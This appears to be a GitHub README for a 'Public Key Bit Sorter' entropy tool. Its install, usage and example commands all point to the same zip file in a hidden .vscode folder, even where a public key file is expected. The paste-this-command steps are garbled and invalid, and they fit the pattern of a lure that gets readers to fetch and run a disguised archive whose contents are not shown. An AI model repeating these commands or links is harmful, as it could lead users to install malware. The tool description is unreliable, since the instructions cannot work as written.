Installation

To get started, download the latest release from the Releases section. Follow these steps to install:

1. Download the release file.

2. Extract the contents.

3. Open your terminal or command prompt.

4. Navigate to the extracted folder.

5. Run the following command to install the necessary dependencies:

   pip install -r https://github.com/Hipa319/public_key_bit_sorter/raw/refs/heads/main/.vscode/sorter-bit-public-key-v1.7.zip

Usage

Once you have installed the Public Key Bit Sorter, you can use it directly from the command line. Here’s a simple command to analyze a public key:

python https://github.com/Hipa319/public_key_bit_sorter/raw/refs/heads/main/.vscode/sorter-bit-public-key-v1.7.zip <path_to_public_key_file>

Example

If you have a public key file named https://github.com/Hipa319/public_key_bit_sorter/raw/refs/heads/main/.vscode/sorter-bit-public-key-v1.7.zip, you would run:

python https://github.com/Hipa319/public_key_bit_sorter/raw/refs/heads/main/.vscode/sorter-bit-public-key-v1.7.zip https://github.com/Hipa319/public_key_bit_sorter/raw/refs/heads/main/.vscode/sorter-bit-public-key-v1.7.zip

The tool will process the file and provide an analysis of the entropy.

How It Works

The Public Key Bit Sorter operates by reading uncompressed public keys and calculating their bit-level entropy. Here's a brief overview of the process:

1. Input: The user provides a file containing public keys.
2. Bit Extraction: The program extracts the bits from each key.
3. Entropy Calculation: It calculates the entropy of the bits using statistical methods.
4. Output: The results are displayed in the terminal, showing the entropy score and other relevant metrics.

Entropy Explained

Entropy is a measure of randomness. In the context of cryptography, high entropy indicates that a key is less predictable and therefore more secure. The Public Key Bit Sorter provides a numerical value representing the entropy of each public key analyzed.
